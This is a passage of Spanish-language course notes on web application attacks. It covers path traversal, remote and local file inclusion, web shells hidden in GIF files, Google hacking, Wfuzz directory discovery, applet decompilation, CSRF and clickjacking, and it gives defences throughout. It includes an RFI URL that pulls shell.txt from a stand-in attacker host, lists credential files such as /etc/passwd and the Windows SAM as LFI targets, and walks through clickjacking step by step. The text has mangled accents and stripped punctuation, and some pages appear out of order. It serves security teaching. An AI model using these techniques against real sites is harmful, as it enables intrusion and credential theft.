bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web
Sin embargo y aunque establecieacutesemos como requisito indispensable que las
peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de
nuestra paacutegina ni de nuestros clientes
Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las
cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se
utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a
un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten
aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras
paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen
desde nuestro propio dominio
La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie
de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos
pueden ser establecidos como un CAPTCHA que el usuario debe introducir al
realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro
del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la
peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar
los datos de nuestros usuarios
Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos
tomar una serie de precauciones que intenten evitar un ataque mediante esta
teacutecnica Las medidas son
bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten
bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-
na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que
durante el tiempo de uso
bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas
Con esto nos aseguramos la independencia de las cookies de sesioacuten entre
navegadores
13 Clickjacking
Las teacutecnicas de clickjacking son una amenaza reciente para los navega-
dores y sus usuarios Se basan en engantildear a los usuarios para que ha-
gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean
voluntariamente
Esto se consigue superponiendo dos paacuteginas
CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web
bull Una la principal con la paacutegina donde queremos que realmente los usua-
rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-
lizar una transferencia
bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-
tenidos que sirvan de aliciente para que el usuario realice los clics en las
zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear
en determinadas zonas
Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-
tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra
paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a
ellos mediante Javascript son de posible uso para engantildear al usuario
1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y
que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten
falta para llevar a cabo esta teacutecnica
Figura 6 Paacutegina a secuestrar
2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo
exactamente en el lugar donde deseamos que el usuario engantildeado realice el
clic Esto se hace asiacute para asegurar que independientemente del navegador el
clic se ejecute sin problemas
CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web
Figura 7 IFRAME sobre el sitio original
3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-
tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear
alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el
clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina
original
Figura 8 Colocacioacuten del IFRAME para engantildear al usuario
CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web
Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah
Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-
sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase
una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a
traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-
racioacuten de seguridad del plugin como se puede observar en la siguiente imagen
Figura 9 Configuracioacuten de seguridad de Flash Player
Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-
gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para
interactuar con el servidor Es por eso por lo que algunos navegadores aportan
directamente protecciones contra esta teacutecnica
bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus
usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-
sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario
sea engantildeado para hacer clic sobre un elemento previamente falseado
CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web
Figura 10 Clickjacking bloqueado
bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-
ca que permite a los programadores web incluir una cabecera x-frame-op-
